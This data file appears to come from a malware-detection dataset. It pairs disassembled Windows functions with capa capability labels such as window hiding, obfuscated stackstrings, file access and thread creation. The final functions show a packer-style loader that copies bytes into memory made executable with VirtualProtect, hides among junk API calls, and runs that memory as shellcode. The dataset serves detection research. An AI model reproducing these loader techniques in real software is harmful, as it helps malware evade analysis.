joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43c7dc
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov dword [0x467968], 0
mov dword [0x46fd28], 0
push 0
mov eax, dword [0x592820]
push eax
call dword [sym.imp.user32.dll_ShowWindow]
mov word [0x469fb4], 0x9c
mov dword [0x469ffc], 0x320
mov dword [0x46a000], 0x258
mov dword [0x469fb8], 0x180000
push 4
push 0x469f90
call dword [sym.imp.user32.dll_ChangeDisplaySettingsA]
mov dword [0x469f80], 0x82000000
mov ecx, dword [0x469f80]
push ecx
push 0xfffffffffffffff0
mov edx, dword [0x592820]
push edx
call dword [sym.imp.user32.dll_SetWindowLongA]
xor eax, eax
mov ax, word [0x462168]
push eax
xor ecx, ecx
mov cx, word [0x462164]
push ecx
mov edx, dword [0x592820]
push edx
call fcn.00401e43
add esp, 0xc
push 0
mov eax, dword [0x592820]
push eax
call dword [sym.imp.user32.dll_SetMenu]
mov ecx, dword [0x469b50]
push ecx
mov edx, dword [0x592820]
push edx
call fcn.00401db4
add esp, 8
push 3
mov eax, dword [0x592820]
push eax
call dword [sym.imp.user32.dll_ShowWindow]
mov ecx, dword [0x592820]
push ecx
call dword [sym.imp.user32.dll_UpdateWindow]
mov word [0x594b74], 0
mov word [0x594b78], 0
pop ebp
ret

Function at 0x43c8ca
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov dword [0x467968], 1
mov dword [0x46fd28], 1
push 0
mov eax, dword [0x592820]
push eax
call dword [sym.imp.user32.dll_ShowWindow]
push 4
push 0
call dword [sym.imp.user32.dll_ChangeDisplaySettingsA]
mov dword [0x59496c], 0
mov dword [0x469f80], 0x2ca0000
mov ecx, dword [0x469f80]
push ecx
push 0xfffffffffffffff0
mov edx, dword [0x592820]
push edx
call dword [sym.imp.user32.dll_SetWindowLongA]
push 3
push 0
push 0
push 0
push 0
push 0xfffffffffffffffe
mov eax, dword [0x592820]
push eax
call dword [sym.imp.user32.dll_SetWindowPos]
mov ecx, dword [0x5918d8]
push ecx
mov edx, dword [0x592820]
push edx
call dword [sym.imp.user32.dll_SetMenu]
mov eax, dword [0x469b50]
push eax
mov ecx, dword [0x592820]
push ecx
call fcn.00401db4
add esp, 8
xor edx, edx
mov dx, word [0x462168]
push edx
xor eax, eax
mov ax, word [0x462164]
push eax
mov ecx, dword [0x592820]
push ecx
call fcn.00401e43
add esp, 0xc
push 0
push 0
mov edx, dword [0x592820]
push edx
call fcn.0040212c
add esp, 0xc
push 1
mov eax, dword [0x592820]
push eax
call dword [sym.imp.user32.dll_ShowWindow]
mov ecx, dword [0x592820]
push ecx
call dword [sym.imp.user32.dll_UpdateWindow]
mov word [0x594b74], 0
mov word [0x594b78], 0
push 0x85
push 0
push 0
push 0
call dword [sym.imp.user32.dll_RedrawWindow]
pop ebp
ret
Function at 0x4593a1
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov byte [ebp - 0x28], 0x42
mov byte [ebp - 0x27], 0x4d
mov byte [ebp - 0x26], 0x36
mov byte [ebp - 0x25], 0x57
mov byte [ebp - 0x24], 7
mov byte [ebp - 0x23], 0
mov byte [ebp - 0x22], 0
mov byte [ebp - 0x21], 0
mov byte [ebp - 0x20], 0
mov byte [ebp - 0x1f], 0
mov byte [ebp - 0x1e], 0x36
mov byte [ebp - 0x1d], 4
mov byte [ebp - 0x1c], 0
mov byte [ebp - 0x1b], 0
mov byte [ebp - 0x1a], 0x28
mov byte [ebp - 0x19], 0
mov byte [ebp - 0x18], 0
mov byte [ebp - 0x17], 0
mov byte [ebp - 0x16], 0x20
mov byte [ebp - 0x15], 3
mov byte [ebp - 0x14], 0
mov byte [ebp - 0x13], 0
mov byte [ebp - 0x12], 0x58
mov byte [ebp - 0x11], 2
mov byte [ebp - 0x10], 0
mov byte [ebp - 0xf], 0
mov byte [ebp - 0xe], 1
mov byte [ebp - 0xd], 0
mov byte [ebp - 0xc], 8
mov byte [ebp - 0xb], 0
mov byte [ebp - 0xa], 0
mov byte [ebp - 9], 0
mov byte [ebp - 8], 0
mov byte [ebp - 7], 0
mov byte [ebp - 6], 0
mov byte [ebp - 5], 0x53
mov byte [ebp - 4], 7
push 0x75736
push 0
mov eax, dword [0x48faf8]
push eax
call fcn.0045dcf0
add esp, 0xc
push 0x25
lea ecx, [ebp - 0x28]
push ecx
mov edx, dword [0x48faf8]
push edx
call fcn.0045dd90
add esp, 0xc
push 1
push 0
push 0
mov eax, dword [ebp + 0x18]
and eax, 0xff
mov ecx, dword [ebp + 0x14]
and ecx, 0xff
shl ecx, 8
or eax, ecx
mov edx, dword [ebp + 0x10]
and edx, 0xff
shl edx, 0x10
or eax, edx
push eax
push 0
push 0
mov eax, dword [0x48faf8]
push eax
push 0x258
push 0x320
mov ecx, dword [ebp + 0xc]
and ecx, 0xffff
push ecx
mov edx, dword [ebp + 8]
and edx, 0xffff
push edx
mov eax, dword [0x46fd34]
push eax
call fcn.00457460
add esp, 0x30
mov esp, ebp
pop ebp
ret

Function at 0x45a25c
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
jmp 0x45a274
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xa
jge 0x45a2a9
mov ecx, dword [ebp + 0x18]
push ecx
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.kernel32.dll_ReadFile]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 1
jne 0x45a29f
jmp 0x45a2a9
push 0x64
call dword [sym.imp.kernel32.dll_Sleep]
jmp 0x45a26b
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x45aa56
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [ebp + 8], 0
jne 0x45aac7
push 0
push pe_nt_image_headers32
push 3
push 0
push 0
push 0x80000000
mov eax, dword [ebp + 0x10]
push eax
call fcn.0045a200
add esp, 0x1c
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x45aa90
xor eax, eax
jmp 0x45ab5b
push 0
lea ecx, [ebp - 0x10]
push ecx
push 0
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.kernel32.dll_GetFileSize]
push eax
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.0045a25c
add esp, 0x14
mov edx, dword [ebp - 8]
push edx
call fcn.0045a2b0
add esp, 4
mov eax, dword [ebp - 0x10]
jmp 0x45ab5b
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.0045a732
add esp, 0x10
test eax, eax
je 0x45aae7
xor eax, eax
jmp 0x45ab5b
mov ecx, dword [ebp + 8]
mov dword [ebp - 4], ecx
push 0
push pe_nt_image_headers32
push 3
push 0
push 0
push 0x80000000
mov edx, dword [ebp - 4]
add edx, 0x110
push edx
call fcn.0045a200
add esp, 0x1c
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x45ab1e
xor eax, eax
jmp 0x45ab5b
push 0
push 0
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.0045a2f4
add esp, 0x10
push 0
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.0045a25c
add esp, 0x14
mov eax, dword [ebp - 8]
push eax
call fcn.0045a2b0
add esp, 4
mov eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret
Function at 0x45ce46
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x59507c], 0
jne 0x45ce59
mov eax, 1
jmp 0x45ce88
push 0x595030
push 0
push 0
push 0x45c8d7
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
mov dword [0x594f00], eax
cmp dword [0x594f00], 0
jne 0x45ce86
mov eax, 1
jmp 0x45ce88
xor eax, eax
pop ebp
ret
Function at 0x45e100
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push section.sect_1
push 0x45f358
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xffffffa8
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
call dword [sym.imp.kernel32.dll_GetVersion]
xor edx, edx
mov dl, ah
mov dword [0x5950c4], edx
mov ecx, eax
and ecx, 0xff
mov dword [0x5950c0], ecx
shl ecx, 8
add ecx, edx
mov dword [0x5950bc], ecx
shr eax, 0x10
mov dword [0x5950b8], eax
call fcn.0045f220
test eax, eax
jne 0x45e16a
push 0x1c
call fcn.0045e2b0
add esp, 4
call fcn.0045e2e0
test eax, eax
jne 0x45e17d
push 0x10
call fcn.0045e2b0
add esp, 4
mov dword [ebp - 4], 0
call fcn.0045f010
call fcn.0045f000
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x596510], eax
call fcn.0045eba0
mov dword [0x5950a8], eax
test eax, eax
je 0x45e1b0
mov eax, dword [0x596510]
test eax, eax
jne 0x45e1ba
push 0xffffffffffffffff
call fcn.0045e410
add esp, 4
call fcn.0045e8f0
call fcn.0045e800
call fcn.0045e3e0
mov esi, dword [0x596510]
mov dword [ebp - 0x64], esi
cmp byte [esi], 0x22
jne 0x45e299
inc esi
mov dword [ebp - 0x64], esi
mov al, byte [esi]
cmp al, 0x22
je 0x45e201
test al, al
je 0x45e201
and eax, 0xff
push eax
call fcn.0045e7a0
add esp, 4
test eax, eax
je 0x45e1db
inc esi
mov dword [ebp - 0x64], esi
jmp 0x45e1db
cmp byte [esi], 0x22
jne 0x45e20a
inc esi
mov dword [ebp - 0x64], esi
mov al, byte [esi]
test al, al
je 0x45e21a
cmp al, 0x20
ja 0x45e21a
inc esi
mov dword [ebp - 0x64], esi
jmp 0x45e20a
mov dword [ebp - 0x30], 0
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.kernel32.dll_GetStartupInfoA]
test byte [ebp - 0x30], 1
je 0x45e23b
mov eax, dword [ebp - 0x2c]
and eax, 0xffff
jmp 0x45e240
mov eax, 0xa
push eax
push esi
push 0
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
push eax
call main
mov dword [ebp - 0x60], eax
push eax
call fcn.0045e410
jmp 0x45e27e
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp byte [esi], 0x20
jbe 0x45e20a
inc esi
mov dword [ebp - 0x64], esi
jmp 0x45e299

Function at 0x45e2e0
Capabilities:
Allocate thread local storage
Set thread local storage value

Disassembly:
push esi
call fcn.0045f700
call dword [sym.imp.kernel32.dll_TlsAlloc]
cmp eax, 0xffffffff
mov dword [0x465038], eax
je 0x45e338
push 0x74
push 1
call fcn.0045f650
mov esi, eax
add esp, 8
test esi, esi
je 0x45e338
mov eax, dword [0x465038]
push esi
push eax
call dword [sym.imp.kernel32.dll_TlsSetValue]
test eax, eax
je 0x45e338
push esi
call fcn.0045e340
add esp, 4
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
mov dword [esi], eax
mov dword [esi + 4], 0xffffffff
mov eax, 1
pop esi
ret
xor eax, eax
pop esi
ret
Function at 0x45e360
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push esi
push edi
call dword [sym.imp.kernel32.dll_GetLastError]
mov edi, eax
mov eax, dword [0x465038]
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
mov esi, eax
test esi, esi
jne 0x45e3ce
push 0x74
push 1
call fcn.0045f650
mov esi, eax
add esp, 8
test esi, esi
je 0x45e3c4
mov ecx, dword [0x465038]
push esi
push ecx
call dword [sym.imp.kernel32.dll_TlsSetValue]
test eax, eax
je 0x45e3c4
push esi
call fcn.0045e340
add esp, 4
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
push edi
mov dword [esi], eax
mov dword [esi + 4], 0xffffffff
call dword [sym.imp.kernel32.dll_SetLastError]
mov eax, esi
pop edi
pop esi
ret
push 0x10
call fcn.0045e2b0
add esp, 4
push edi
call dword [sym.imp.kernel32.dll_SetLastError]
mov eax, esi
pop edi
pop esi
ret

Function at 0x45e450
Capabilities:
Terminate process

Disassembly:
push ebx
push ebp
push esi
call fcn.0045e510
mov eax, dword [0x5950f4]
mov ebp, dword [esp + 0x10]
cmp eax, 1
jne 0x45e474
push ebp
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
mov eax, dword [esp + 0x14]
mov ebx, dword [esp + 0x18]
test eax, eax
mov dword [0x5950f0], 1
mov byte [0x5950ec], bl
jne 0x45e4ce
mov ecx, dword [0x596508]
test ecx, ecx
je 0x45e4bc
mov esi, dword [0x596504]
sub esi, 4
cmp esi, ecx
jb 0x45e4bc
mov eax, dword [esi]
test eax, eax
je 0x45e4b5
call eax
mov ecx, dword [0x596508]
sub esi, 4
cmp esi, ecx
jae 0x45e4a7
push 0x462020
push 0x462018
call fcn.0045e530
add esp, 8
push 0x462028
push 0x462024
call fcn.0045e530
add esp, 8
test ebx, ebx
je 0x45e4ed
call fcn.0045e520
pop esi
pop ebp
pop ebx
ret
push ebp
mov dword [0x5950f4], 1
call dword [sym.imp.kernel32.dll_ExitProcess]
Function at 0x45eba0
Capabilities:
Query environment variable

Disassembly:
mov eax, dword [0x595200]
push ebx
push ebp
mov ebp, dword [sym.imp.kernel32.dll_GetEnvironmentStrings]
push esi
xor esi, esi
xor ebx, ebx
push edi
mov edi, dword [sym.imp.kernel32.dll_GetEnvironmentStringsW]
test eax, eax
jne 0x45ebe2
call edi
mov esi, eax
test esi, esi
je 0x45ebcc
mov eax, 1
jmp 0x45ebdd
call ebp
mov ebx, eax
test ebx, ebx
je 0x45ecef
mov eax, 2
mov dword [0x595200], eax
cmp eax, 1
jne 0x45ec82
test esi, esi
jne 0x45ebfb
call edi
mov esi, eax
test esi, esi
je 0x45ecef
cmp word [esi], 0
mov eax, esi
je 0x45ec15
add eax, 2
cmp word [eax], 0
jne 0x45ec03
add eax, 2
cmp word [eax], 0
jne 0x45ec03
sub eax, esi
push 0
sar eax, 1
inc eax
push 0
mov ebp, eax
push 0
push 0
push ebp
push esi
push 0
push 0
call dword [sym.imp.kernel32.dll_WideCharToMultiByte]
mov edi, eax
test edi, edi
je 0x45ec74
push edi
call fcn.0045f920
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x45ec74
push 0
push 0
push edi
push ebx
push ebp
push esi
push 0
push 0
call dword [sym.imp.kernel32.dll_WideCharToMultiByte]
test eax, eax
jne 0x45ec66
push ebx
call fcn.0045f8b0
add esp, 4
xor ebx, ebx
push esi
call dword [sym.imp.kernel32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
ret
push esi
call dword [sym.imp.kernel32.dll_FreeEnvironmentStringsW]
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret
cmp eax, 2
jne 0x45ecef
test ebx, ebx
jne 0x45ec93
call ebp
mov ebx, eax
test ebx, ebx
je 0x45ecef
mov cl, byte [ebx]
mov eax, ebx
test cl, cl
je 0x45ecab
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x45ec9b
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x45ec9b
sub eax, ebx
inc eax
mov esi, eax
push esi
call fcn.0045f920
mov ebp, eax
add esp, 4
test ebp, ebp
jne 0x45eccd
push ebx
call dword [sym.imp.kernel32.dll_FreeEnvironmentStringsA]
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret
mov ecx, esi
mov esi, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.kernel32.dll_FreeEnvironmentStringsA]
mov eax, ebp
pop edi
pop esi
pop ebp
pop ebx
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
Function at 0x45f470
Capabilities:
Write file on windows

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x1a8
mov eax, 0x4651f8
push ebx
push ebp
push esi
push edi
xor ebp, ebp
cmp ecx, dword [eax]
je 0x45f494
add eax, 8
inc ebp
cmp eax, 0x465288
jb 0x45f485
cmp ecx, dword [ebp*8 + 0x4651f8]
jne 0x45f63b
mov eax, dword [0x5950b0]
cmp eax, 1
je 0x45f5fd
test eax, eax
jne 0x45f4c0
cmp dword [0x465034], 1
je 0x45f5fd
cmp ecx, 0xfc
je 0x45f63b
lea eax, [esp + 0xb4]
push 0x104
push eax
push 0
call dword [sym.imp.kernel32.dll_GetModuleFileNameA]
test eax, eax
jne 0x45f4fb
mov ecx, 5
mov esi, 0x4612e4
lea edi, [esp + 0xb4]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [esp + 0xb4]
or ecx, 0xffffffff
xor eax, eax
lea ebx, [esp + 0xb4]
repne scasb al, byte es:[edi]
not ecx
cmp ecx, 0x3c
jbe 0x45f544
lea edi, [esp + 0xb4]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 3
mov ebx, ecx
lea ecx, [esp + 0xb8]
sub ecx, 0x3b
push 0x4612e0
add ebx, ecx
push ebx
call fcn.004601a0
add esp, 0xc
mov ecx, 6
mov esi, 0x4612c4
lea edi, [esp + 0x14]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
or ecx, 0xffffffff
mov edi, ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x14]
mov ebx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x14]
and ecx, 3
push 0x12010
rep movsb byte es:[edi], byte [esi]
mov edi, 0x4612c0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x461298
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x1c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp*8 + 0x4651fc]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x1c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.00460110
add esp, 0xc
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1a8
ret
mov eax, dword [0x596400]
test eax, eax
je 0x45f60e
mov esi, dword [eax + 0x48]
cmp esi, 0xffffffff
jne 0x45f618
push 0xfffffffffffffff4
call dword [sym.imp.kernel32.dll_GetStdHandle]
mov esi, eax
mov edx, dword [ebp*8 + 0x4651fc]
lea ecx, [esp + 0x10]
push 0
push ecx
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
push esi
call dword [sym.imp.kernel32.dll_WriteFile]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1a8
ret
Function at 0x1001600
Capabilities:
Terminate process

Disassembly:
push 0x10
push 0x1001a90
call fcn.010017a4
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov dword [ebp - 0x1c], ebx
mov edi, 0x1002370
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
cmp eax, ebx
je 0x1001415
cmp eax, esi
jne 0x1001408
xor esi, esi
inc esi
mov dword [ebp - 0x1c], esi
jmp 0x1001418
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10013ef
xor esi, esi
inc esi
mov eax, dword [0x100236c]
cmp eax, esi
jne 0x100142b
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x1001466
mov eax, dword [0x100236c]
test eax, eax
jne 0x1001460
mov dword [0x100236c], esi
push 0x10010b4
push 0x10010a8
call fcn.0100136c
pop ecx
pop ecx
test eax, eax
je 0x1001466
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x1001530
mov dword [0x1002034], esi
mov eax, dword [0x100236c]
cmp eax, esi
jne 0x100148a
push 0x10010a4
push 0x100109c
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x100236c], 2
cmp dword [ebp - 0x1c], ebx
jne 0x1001497
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
cmp dword [0x1002374], ebx
je 0x10014b8
push 0x1002374
call fcn.01001719
pop ecx
test eax, eax
je 0x10014b8
push ebx
push 2
push ebx
call dword [0x1002374]
push dword [0x100201c]
push dword [0x1002020]
push dword [0x1002018]
call fcn.010012f2
add esp, 0xc
mov dword [0x1002030], eax
cmp dword [0x1002024], ebx
jne 0x1001516
push eax
call dword [sym.imp.msvcrt.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x20], ecx
push eax
push ecx
call sub.msvcrt.dll__XcptFilter
pop ecx
pop ecx
ret
cmp dword [0x1002034], ebx
jne 0x1001524
call dword [sym.imp.msvcrt.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x1002030]
call fcn.010017e9
ret
call fcn.010018f1
jmp 0x10013cd
Function at 0x4946ad
Capabilities:
Copy file
Set console window title

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x840
push esi
shr edx, 3
xor esi, esi
cmp edx, esi
jbe 0x4947d3
push ebx
push edi
mov ebx, ecx
mov dword [ebp - 8], edx
cmp dword [0x140776c], 0xae9
jne 0x4947bb
lea eax, [ebp - 0x10]
push eax
push esi
mov dword [ebp - 0x10], esi
call dword [sym.imp.KERNEL32.dll_GetProcessHeaps]
xor eax, eax
mov word [ebp - 4], ax
lea edi, [ebp - 2]
stosw word es:[edi], ax
mov word [ebp - 0xc], ax
lea edi, [ebp - 0xa]
stosw word es:[edi], ax
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0xc]
lea eax, [ebp - 0x20]
push dword [ebp - 4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputA]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x440]
push eax
push 0x4012f8
call dword [sym.imp.KERNEL32.dll_DnsHostnameToComputerNameA]
push esi
call dword [sym.imp.KERNEL32.dll_HeapLock]
push esi
call dword [sym.imp.KERNEL32.dll_AddRefActCtx]
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ActivateActCtx]
push esi
lea eax, [ebp - 0x1c]
push eax
push esi
lea eax, [ebp - 0x840]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push esi
push 0x401328
push 0x401350
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push esi
push esi
push 0x401360
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push esi
lea eax, [ebp - 0x18]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
push esi
push esi
push esi
push 0x4013a0
push 0x4013b8
push esi
call dword [sym.imp.KERNEL32.dll_UpdateResourceA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [ebp - 0x40]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
mov edx, dword [ebp + 8]
mov ecx, ebx
call fcn.00493d7b
add ebx, 8
dec dword [ebp - 8]
jne 0x4946cb
pop edi
pop ebx
pop esi
leave
ret 4
Function at 0x4947df
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x838
push ebx
push esi
push edi
push 0x4013d8
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4013e8
push eax
mov dword [0x1407758], eax
call esi
push 0x4013f4
push dword [0x1407758]
mov dword [0x1407750], eax
call esi
push dword [0x140776c]
xor esi, esi
push esi
mov dword [0x1404530], eax
call dword [0x1407750]
lea ecx, [ebp - 4]
push ecx
push 0x40
push dword [0x140776c]
mov dword [0x1404548], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edi, edi
cmp edi, 0x85b4
jge 0x49486f
push dword [ebp - 4]
push dword [ebp - 8]
push esi
call dword [sym.imp.USER32.dll_RealChildWindowFromPoint]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetAltTabInfoA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetGeoInfoW]
cmp edi, 0x11c825e
jg 0x494894
inc edi
mov eax, edi
cdq
cmp edx, 0x3f
jl 0x494849
jg 0x494894
cmp eax, 0x45b08f85
jb 0x494849
mov eax, dword [0x49eb0c]
mov dword [0x146f3fc], eax
xor eax, eax
cmp dword [0x140776c], esi
jbe 0x4948c7
mov ecx, dword [0x146f3fc]
mov cl, byte [ecx + eax + 0xb2d3b]
mov edx, dword [0x1404548]
mov byte [edx + eax], cl
inc eax
cmp eax, dword [0x140776c]
jb 0x4948a8
xor edi, edi
mov eax, dword [0x140776c]
add eax, edi
cmp eax, 0x5e
jne 0x4948fd
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapSize]
push esi
lea eax, [ebp - 0x438]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetAtomNameA]
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
inc edi
cmp edi, 0xa69b
jl 0x4948c9
mov edx, dword [0x140776c]
mov ecx, dword [0x1404548]
push 0x49e008
call fcn.004946ad
xor eax, eax
cmp eax, 0x59d8
jne 0x49492f
mov ecx, 0x1404548
call fcn.004947d8
inc eax
cmp eax, 0x356d83
jl 0x49491e
push 0x7b
pop ebx
cmp dword [0x140776c], 0x54d
jne 0x494979
xor eax, eax
mov dword [ebp - 0x1c], esi
lea edi, [ebp - 0x18]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x38]
push eax
push 0x401404
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
push esi
lea eax, [ebp - 0x838]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
dec ebx
jne 0x49493a
mov eax, dword [0x1404548]
mov dword [0x1407760], eax
call eax
pop edi
pop esi
pop ebx
leave
ret